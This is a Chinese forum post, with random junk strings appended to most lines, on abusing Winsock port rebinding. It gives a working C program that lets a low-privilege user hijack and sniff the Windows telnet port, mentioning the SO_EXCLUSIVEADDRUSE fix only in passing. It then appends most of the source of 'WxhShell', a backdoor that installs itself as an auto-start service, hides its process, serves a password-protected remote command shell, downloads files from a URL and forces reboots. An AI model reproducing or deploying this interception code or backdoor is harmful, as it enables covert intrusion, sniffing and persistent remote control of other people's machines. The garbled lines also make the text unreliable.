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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "}x70q'>S  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?KuJs9SM  
[\M?8R$)  
  saddr.sin_family = AF_INET; xY}j8~k  
uu/7Ie  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2mp>Mn~K^  
[N$_@[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); PQ#-.K  
]A<u eM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {8p?we3l1  
d@`:9 G3  
  这意味着什么?意味着可以进行如下的攻击: I EsD=  
OsSiBb,W79  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 te4"+[ $|  
Pc ?G^ Xol  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) U[ O!&:6  
3LnyQ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4Jy,IKPp  
EsxTBg  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  tZBE& :l  
PaI63 !  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 exN#!& ;  
p~;z"Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &$Ip$"H  
R/FV'qy]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 EBE>&{%$^  
r|BKp,u9  
  #include QMpA~x_m  
  #include 90696v.  
  #include ?-v?SN#  
  #include    GT}#iM  
  DWORD WINAPI ClientThread(LPVOID lpParam);   MP&4}De  
  int main() F88SV6  
  { /*2W?ZM~H  
  WORD wVersionRequested; 2Sd6b 2-  
  DWORD ret; Z"nuO\zH~  
  WSADATA wsaData; e7AI&5Eg{  
  BOOL val; TK?N^ly  
  SOCKADDR_IN saddr; tD482Sb=  
  SOCKADDR_IN scaddr; r<H^%##,w  
  int err; g {wPw  
  SOCKET s; I,Y^_(JW  
  SOCKET sc; (&x\,19U$  
  int caddsize; 0`zq*OQ  
  HANDLE mt; v" TH[}C9D  
  DWORD tid;   %Ne>'252y  
  wVersionRequested = MAKEWORD( 2, 2 ); Ybiz]1d  
  err = WSAStartup( wVersionRequested, &wsaData ); J, U~ .c  
  if ( err != 0 ) { .f<,H+m^  
  printf("error!WSAStartup failed!\n"); aV#;o9H{  
  return -1; 5 : >  
  } ~OfKn1D  
  saddr.sin_family = AF_INET; !H.lVA  
   0n^j 50Yq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3ZZI1_j  
K`2DhJC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ozwqK oE  
  saddr.sin_port = htons(23); U^S:2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e+aQ$1^t  
  { ds[~Cp   
  printf("error!socket failed!\n"); Mi-9sW  
  return -1; 1#RA+d(  
  } [$+61n}.12  
  val = TRUE; 88U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8)ol6Mi{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) OPh@H.)^  
  { </Lqk3S-!  
  printf("error!setsockopt failed!\n"); ~kFRy{z  
  return -1; -^N '18:  
  } +g30frg+Gl  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l,8| E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -p~B -,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `buTP?]4.  
}k~0R-m  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N|d@B{a(  
  { 1 crjRbi  
  ret=GetLastError(); |a3b2x,  
  printf("error!bind failed!\n"); ?!vW&KJZx  
  return -1; =]Bm>67"  
  } 1Pc'wfj  
  listen(s,2); 81g0oVv  
  while(1) s#sX r  
  { ]sE^=;Pv?  
  caddsize = sizeof(scaddr); 9`b3=&i\  
  //接受连接请求 nQC[[G*x  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); xbIA97g-O,  
  if(sc!=INVALID_SOCKET) N~YeAe~+  
  { %vzpp\t  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); BC+qeocg  
  if(mt==NULL) )nVx 2m4  
  { u[@*}|uXM  
  printf("Thread Creat Failed!\n"); umYdr'p!v  
  break; .d,Zx  
  } X*&r/=  
  } d?qz7#kc  
  CloseHandle(mt); =X):Zi   
  } #/6X44 *u  
  closesocket(s); cQ%HwYn  
  WSACleanup(); ,$>Z= ~x*  
  return 0; .l!Z=n|  
  }   !LA#c'  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~Fh(4'  
  { @(L|  
  SOCKET ss = (SOCKET)lpParam; XafyI*pOX  
  SOCKET sc; t!$/r]XM h  
  unsigned char buf[4096]; 2J5dZYW  
  SOCKADDR_IN saddr; 'Z[R*Ikzq  
  long num; ]0O$2j_7  
  DWORD val; MmB-SR[>P  
  DWORD ret; bBf+z7iyc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Lj#6K@u@Z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    qn .  
  saddr.sin_family = AF_INET; 1Ppzch7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /WMLr5  
  saddr.sin_port = htons(23); ,b8AB_yw  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1*"Uc!7.%  
  { iJK9-k~  
  printf("error!socket failed!\n"); Ra5cfkH;  
  return -1; 6r`g+Js/  
  } )_ y{^kn3^  
  val = 100; 2t'&7>Ys{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ) )Nc|`  
  { {>qCZ#E5WO  
  ret = GetLastError(); /:DxB00  
  return -1; 5y)kQ<x"  
  } w K+2;*bI  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) * HVO  
  { (.cT<(TB  
  ret = GetLastError(); T &1sfS,  
  return -1; ?{n#j,v!  
  } l40$}!!<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F^ f]*MhT"  
  { >Y:ouN~<  
  printf("error!socket connect failed!\n"); )c*~Y=f  
  closesocket(sc); 9D bp`%j  
  closesocket(ss); 1VeCAx[e  
  return -1; TCYnErqk  
  } ;J:YNup  
  while(1) W{`;][  
  { $]vR,E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /[IK [  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 tnsYY  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Au {`o xD  
  num = recv(ss,buf,4096,0); {|fA{ Q_R  
  if(num>0) o8" [6Ys  
  send(sc,buf,num,0); wNPZ[V:  
  else if(num==0) #X)s=Y&5!T  
  break; 9'tM65K  
  num = recv(sc,buf,4096,0); I%ez_VG  
  if(num>0) 1ayxE(vMcX  
  send(ss,buf,num,0); ?;$g,2n  
  else if(num==0) Ai/#C$MY$  
  break; .sLx6J%  
  } 5rc<ibGh  
  closesocket(ss); $R^"~|m3M  
  closesocket(sc); k_ skn3,u  
  return 0 ; Bg3^BOT  
  } }b-?Dm_H  
rnW i<Se  
0ul2rZc  
========================================================== x&;SLEM   
X9P-fF?0  
下边附上一个代码,,WXhSHELL N>/U%01a  
2]7nw1&  
========================================================== 29E^]IL?  
}/=VnCfU  
#include "stdafx.h" <%!@cE+y  
/q>"">  
#include <stdio.h> u^`B#b '  
#include <string.h> al5?w{us  
#include <windows.h> 9;@6iv  
#include <winsock2.h> #R)$nv:h?^  
#include <winsvc.h> hWUZn``U$|  
#include <urlmon.h> $GcVC (]  
AttDD{Ta  
#pragma comment (lib, "Ws2_32.lib") S]<Hx_[}  
#pragma comment (lib, "urlmon.lib") [1E u6X6  
<$UY{"?  
#define MAX_USER   100 // 最大客户端连接数 Ly^r8I  
#define BUF_SOCK   200 // sock buffer LTi0,03l<  
#define KEY_BUFF   255 // 输入 buffer s Ce{V*ua  
\}cEHLq  
#define REBOOT     0   // 重启 ,fL*yn  
#define SHUTDOWN   1   // 关机 3 D\I#g  
 _G`kj{J  
#define DEF_PORT   5000 // 监听端口 M*t{?o/t;  
#/YKA{  
#define REG_LEN     16   // 注册表键长度 xY@V.  
#define SVC_LEN     80   // NT服务名长度 0{ \AP<  
l2$6ojpo  
// 从dll定义API :sJVklK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ix}:!L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A_CK,S*\,&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1}'|HAu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @c5TSHSL.  
CY9`ztO*  
// wxhshell配置信息 o@"H3 gz  
struct WSCFG { :dB6/@f W  
  int ws_port;         // 监听端口 iEnDS@7  
  char ws_passstr[REG_LEN]; // 口令 INi(G-!g  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2b2/jzO}J  
  char ws_regname[REG_LEN]; // 注册表键名 @<;0 h|  
  char ws_svcname[REG_LEN]; // 服务名 _},u[+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NKh8'=S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,|}Pof=]xk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rtC.!].;%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H:2#/1Oz>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wU+-;C5e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1^$ vmULj  
<w<&,xM  
}; d'q,:="c  
D&$%JT'3  
// default Wxhshell configuration n-0RA~5z  
struct WSCFG wscfg={DEF_PORT, 6f(K'v  
    "xuhuanlingzhe", i#=s_v8  
    1, qE!.C}L +  
    "Wxhshell", LL4yafh  
    "Wxhshell", <S <@V?h  
            "WxhShell Service", r< sx On  
    "Wrsky Windows CmdShell Service", dJ#mk5= "  
    "Please Input Your Password: ", 3%p^>D\  
  1, J{` G=  
  "http://www.wrsky.com/wxhshell.exe", j&(aoGl@  
  "Wxhshell.exe" &3#19v7/  
    }; TldqF BX  
o)GLh^g_I'  
// 消息定义模块 tY'fFz^Ho  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C5"=%v[gQv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kLtm_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w7+3?'L  
char *msg_ws_ext="\n\rExit."; j]~;|V5Z  
char *msg_ws_end="\n\rQuit."; D;*P'%_Z  
char *msg_ws_boot="\n\rReboot..."; gn4+$f~w  
char *msg_ws_poff="\n\rShutdown..."; `o4alK\  
char *msg_ws_down="\n\rSave to "; C3>&O?7J*7  
dTcrJ|/Y  
char *msg_ws_err="\n\rErr!"; K8,Q^!5]"  
char *msg_ws_ok="\n\rOK!"; ROqz$yY  
i-Er|u; W  
char ExeFile[MAX_PATH]; c%tb6@C  
int nUser = 0; Jvac|rN  
HANDLE handles[MAX_USER]; v!~tX*q  
int OsIsNt; vM5yiHI(jb  
9 M>.9~  
SERVICE_STATUS       serviceStatus; ,E ]vM&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'ONCz  
awu18(;J  
// 函数声明 7\.{O$Q  
int Install(void); GP<PU  
int Uninstall(void); [C@ |q Ah  
int DownloadFile(char *sURL, SOCKET wsh); 9eR4?^(3!  
int Boot(int flag); X3mHg5zt  
void HideProc(void); 8U86-'Pq  
int GetOsVer(void); 3&`LVhx  
int Wxhshell(SOCKET wsl); rHngYcjR  
void TalkWithClient(void *cs); L/*D5k%J  
int CmdShell(SOCKET sock); |tn.ZEgw3~  
int StartFromService(void); rD_\NgVAs  
int StartWxhshell(LPSTR lpCmdLine); \P~ h0zg?  
m-u3^\'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o|`%>&jP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C!X"0]@FA  
"@ 1+l&  
// 数据结构和表定义 t nvCtuaR  
SERVICE_TABLE_ENTRY DispatchTable[] = 1RHFWK5Si  
{ X5_T?  
{wscfg.ws_svcname, NTServiceMain},  4>R)2g  
{NULL, NULL} -}x( MZ  
}; 1Y+g^Z;G  
KATu7)e&~^  
// 自我安装 Ie"eqO!  
int Install(void) +Z7:(o<  
{ ,azBk`$iQr  
  char svExeFile[MAX_PATH]; [%LIW%t|  
  HKEY key; X:2)C-l?  
  strcpy(svExeFile,ExeFile); M4}b l h#  
BG/Q7s-?K  
// 如果是win9x系统,修改注册表设为自启动 y?P4EVknM3  
if(!OsIsNt) { 1[:tiTG|C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _jWGwO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a1dkB"Zp.p  
  RegCloseKey(key); EBMZ7b-7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /0 2-0mNv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q@(tyW+8U@  
  RegCloseKey(key); @V=HY  
  return 0; wN]]t~K)Q  
    } h?7@]&VJ  
  } 1ir~WFP  
} 3]rd!Gp=*  
else { pq +~|  
/ n@by4;W  
// 如果是NT以上系统,安装为系统服务 IeT1Jwe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '*=kt  
if (schSCManager!=0) \f4JIsZ-&  
{ L %20tm  
  SC_HANDLE schService = CreateService HDQH7Bs  
  ( Z Tzh[2u*  
  schSCManager, ana?;NvC  
  wscfg.ws_svcname, ydMfV-  
  wscfg.ws_svcdisp, !n3J6%b9y/  
  SERVICE_ALL_ACCESS, }@TtX\7(D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l*-$H$  
  SERVICE_AUTO_START, ^kh@AgG^  
  SERVICE_ERROR_NORMAL, M/evZ?uis  
  svExeFile, "t&_!Rm  
  NULL, oGKk2oP  
  NULL, lG R6S  
  NULL, Yq0jw&v  
  NULL, 4l~B/"}  
  NULL cr>"LAi  
  ); u(C?\HaH  
  if (schService!=0) wPQRm[O|  
  { NsF8`r g  
  CloseServiceHandle(schService); ZnZ`/zNO  
  CloseServiceHandle(schSCManager); ~L?q.*q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Af XlV-v  
  strcat(svExeFile,wscfg.ws_svcname); [`U9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ByivV2qd{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {wCzm  
  RegCloseKey(key); @ $2xiE.[  
  return 0; p -wEPC0  
    } |YWX.-aeo  
  } =x-@-\m  
  CloseServiceHandle(schSCManager); XHYVcwmDz-  
} ~O~R,h>  
} &\ \)x.!  
"2>_eZ#b  
return 1; :FWo,fq?:{  
} &!KW[]i%9}  
<}t<A  
// 自我卸载 `%Jq^uW  
int Uninstall(void) 7!jb ID~  
{ #9 u2LK  
  HKEY key; 1%k$9[!l%  
? yek\X  
if(!OsIsNt) { E;Q ,{{#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ctT6va  
  RegDeleteValue(key,wscfg.ws_regname); +X4/l"|  
  RegCloseKey(key); +/Qgl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jwe9L^gL  
  RegDeleteValue(key,wscfg.ws_regname); Oq4J$/%  
  RegCloseKey(key); V^E.9fs,  
  return 0; m+'vrxTY  
  } 3%DDN\q\u  
} 25 m!Bf  
} 0PT\/imgN  
else { D/Hob  
CI~ll=9`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2-x#|9  
if (schSCManager!=0) 6ujePi <U  
{ ?h7(,39^>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *\T ]Z&E"  
  if (schService!=0) ]q<Zc>OC  
  { PHv0^l]B  
  if(DeleteService(schService)!=0) { #t?tt,nc}  
  CloseServiceHandle(schService); Avr2MaY{h  
  CloseServiceHandle(schSCManager); $9Asr07  
  return 0; CH4 ~9mmE  
  } oRQJ YH  
  CloseServiceHandle(schService); zcE[wM  
  } |}KNtIX\G  
  CloseServiceHandle(schSCManager); /4lm=ZE/  
} y;1l].L  
} g}Esj"7  
CF_pIfbaf  
return 1; 3 F ke#t  
} 1@vlbgLr@  
[(PD2GO+  
// 从指定url下载文件 +*vg) F:  
int DownloadFile(char *sURL, SOCKET wsh) TX7]$Wj  
{ ,sln0  
  HRESULT hr; eh5j  
char seps[]= "/"; YNV4'  
char *token; +?[,{WtV  
char *file; dzn[4  
char myURL[MAX_PATH]; FEzjP$  
char myFILE[MAX_PATH]; yo@S.7[/  
s+l3]Hd  
strcpy(myURL,sURL); X{YY)}^  
  token=strtok(myURL,seps); a#L:L8T;j  
  while(token!=NULL) d[7B,l:RN  
  { JUpb*B_z  
    file=token; dzRnI*  
  token=strtok(NULL,seps); IDK~ (t  
  } #6F|}E  
=_=0l+\}  
GetCurrentDirectory(MAX_PATH,myFILE); F"| ;  
strcat(myFILE, "\\"); /)*si  
strcat(myFILE, file); \f-@L;8#  
  send(wsh,myFILE,strlen(myFILE),0); X3j|J/  
send(wsh,"...",3,0); '-V[t yE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "\O{!Hj8  
  if(hr==S_OK) p?' F$Wz  
return 0; o$_,2$>mn  
else CN, oH4IU  
return 1; J)leRR&  
fG*366W  
} 0:`|T jf_  
Nf4@m|#  
// 系统电源模块 OAkqPG&w  
int Boot(int flag) (Iv@SiZf(  
{ usc/DQ1  
  HANDLE hToken; D\G 8p;  
  TOKEN_PRIVILEGES tkp; =n.&N   
bv7)[,i  
  if(OsIsNt) { vmxS^_I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MO1H?U hx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OJFWmZ(X  
    tkp.PrivilegeCount = 1; sZ `Tv[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &W<7!U:2m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6h:QSVfx  
if(flag==REBOOT) { ho\1[xS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oRV}Nz7hr  
  return 0; aKI"<%PNn  
} "Y&I#&$b\  
else { .;? Bni  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DX_ mrG  
  return 0; vrs  
} VPMu)1={:p  
  } IiYL2JS;t|  
  else { jv)+qmqo!  
if(flag==REBOOT) { -cgO]q+Oq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0z8(9DlTc  
  return 0; \:vF FK4a  
} EGu%;[  
else { 8v$q+Wic  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kg/B<w'  
  return 0; te@m#` p9  
} (:o F\  
} N?\X 2J1  
vhe Y F@  
return 1; 'Ru(`" 1|  
} DUOoTl p  
@|gG3  
// win9x进程隐藏模块 -&/?&{Q0  
void HideProc(void) U:7h>Z0W  
{ >"W^|2R  
Gek?+|m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DV5hTw0  
  if ( hKernel != NULL ) EP>u%]#  
  { *xnZTj:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o;8$#gyNY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~&?([}A  
    FreeLibrary(hKernel); J8'"vc}=  
  } } z'Jsy[s  
@Q1!xA^S  
return; 0R?1|YnB  
} pqG> |#RG  
o"z()w~  
// 获取操作系统版本 \/Y(m4<P  
int GetOsVer(void) cy%M$O|hX5  
{ {gD ED  
  OSVERSIONINFO winfo; ne#dEUD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W;u.@I&  
  GetVersionEx(&winfo); d) -(C1f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^t0!Dbx3SE  
  return 1; 196aYLE  
  else 2Zu9? L ,I  
  return 0; .; MS 78BR  
} J/]%zwDwS  
1}VaBsEV  
// 客户端句柄模块 Ca-"3aQkc  
int Wxhshell(SOCKET wsl) &h:4TaD  
{ /-M:6  
  SOCKET wsh; ^G4YvS(  
  struct sockaddr_in client; & SXw=;B  
  DWORD myID; =2!p>>t,d;  
MlV(XG>'  
  while(nUser<MAX_USER) ,_V V;P  
{ |\(uO|)ju  
  int nSize=sizeof(client); 7Ae`>5B#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yZlT#^$\  
  if(wsh==INVALID_SOCKET) return 1; 0i~U(qoI  
oidZWy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q<sqlh!h  
if(handles[nUser]==0) h&4s%:_4  
  closesocket(wsh); J v}  
else _H$Lu4b)N  
  nUser++; 1I%u)[;>  
  } %lCZ7z2o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5]O{tSj  
u`|%qRt  
  return 0; EL,k z8  
} ~"+"6zg  
 /  
// 关闭 socket xpdpD  
void CloseIt(SOCKET wsh) TgkVd]4%  
{ <8WFaP3,  
closesocket(wsh); 7uR;S:WX  
nUser--; yTZev|ej@  
ExitThread(0); 4  OPY  
} rC8p!e.yL  
xQsxc  
// 客户端请求句柄 KZKE&bTx  
void TalkWithClient(void *cs) xXJ*xYn "}  
{ u99a"+  
+O/b[O'0  
  SOCKET wsh=(SOCKET)cs; )oIh?-WL  
  char pwd[SVC_LEN]; a_Y<daRO  
  char cmd[KEY_BUFF]; 9c^,v_W@  
char chr[1]; 1Q@]b_"Xh  
int i,j; `7/(sX.  
;UQza ]i  
  while (nUser < MAX_USER) { $tZ {>!N  
aHN"I  
if(wscfg.ws_passstr) { bYsX?0T!p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7 $y;-[E[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C|ZPnm>f30  
  //ZeroMemory(pwd,KEY_BUFF); 6ll!7U(9(  
      i=0; NO!Qo:  
  while(i<SVC_LEN) { Ty g>Xv  
TIGtX]`  
  // 设置超时 R'Jrbe|  
  fd_set FdRead; X%yG{\6:  
  struct timeval TimeOut; b~aM=71  
  FD_ZERO(&FdRead); of B:7  
  FD_SET(wsh,&FdRead); $INB_/R E  
  TimeOut.tv_sec=8; 2+9VDf2  
  TimeOut.tv_usec=0; v0DDim?cc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hTDK[4e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sh :$J[  
= wz}yfdrC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZDW9H6ux  
  pwd=chr[0]; >V6t L;+  
  if(chr[0]==0xd || chr[0]==0xa) { s|\)Y*B`  
  pwd=0; AR [m+E  
  break; B0Df7jr%`>  
  } [lzd'  
  i++; B%tF|KKj  
    } 5m1J&TZ0  
hhU_kI  
  // 如果是非法用户,关闭 socket 4Fg2/O_3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1GYZ1iA  
} pwFdfp  
C5~~$7k0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9L>?N:%5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7${<u0((!  
sT?{  
while(1) { x_Ev2 c'4  
^.A*mMQ  
  ZeroMemory(cmd,KEY_BUFF); 'WW:'[Syn'  
DZqPCMz)^  
      // 自动支持客户端 telnet标准   !+SL=xy!{  
  j=0; Lap?L/NS  
  while(j<KEY_BUFF) { bB$f=W!m%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {T8;-H0H  
  cmd[j]=chr[0]; ]^ R':YE  
  if(chr[0]==0xa || chr[0]==0xd) { X$!fR >Zc  
  cmd[j]=0; d]0:r]e  
  break; &qbEF3p^@  
  } ov+{<0Q  
  j++; 27!F B@k-  
    } %RD\Sb4YV  
]W3_]N 3  
  // 下载文件 >` s"C  
  if(strstr(cmd,"http://")) { Q+Bl1xl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i%o%bib#  
  if(DownloadFile(cmd,wsh)) :'T+`(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {.LJ(|(Mz  
  else "}3sL#|z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )^(gwE  
  } `W x| 4  
  else { ?;l@yx  
8c) eaDu  
    switch(cmd[0]) { |" }rdOV)  
  qxI $F  
  // 帮助 5qM$ahN3wH  
  case '?': { @g#5d|U);  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5'set?  
    break; RL` jaS?V  
  } z\eQB%aM  
  // 安装 Ovx *  
  case 'i': { & R_?6*n  
    if(Install()) o<5`uV!f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q>$B.z  
    else U$5x#{AFp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HVa D  
    break; B :%Vq2`  
    } I7_8oq\3D  
  // 卸载 1KUjb@"  
  case 'r': { 45 ^ Z5t  
    if(Uninstall()) W/UA%We3+L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uBts?02  
    else b"X1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Q"L)%)'A  
    break; )M<+?R$];  
    } F`4W5~`  
  // 显示 wxhshell 所在路径 ~ g!!#ad  
  case 'p': { Ct'tUF<K5  
    char svExeFile[MAX_PATH]; #;8)UNc)}  
    strcpy(svExeFile,"\n\r"); fuj9x;8X0  
      strcat(svExeFile,ExeFile); (RI)<zaK ;  
        send(wsh,svExeFile,strlen(svExeFile),0); 9V[|_  
    break; )?I1*(1{A  
    } s|%mGt &L  
  // 重启 F+*: >@3  
  case 'b': { }!lLA4XRr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L8/o9N1  
    if(Boot(REBOOT)) 2 os&d|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kIP~XV~  
    else { Yf7n0Etd,  
    closesocket(wsh); 86vk"  
    ExitThread(0); 9%> H}7=  
    } qYGnebn@\  
    break; ShF ][v1L  
    } ce 1KUwo]  
  // 关机 Y}(v[QGV  
  case 'd': { s80:.B  
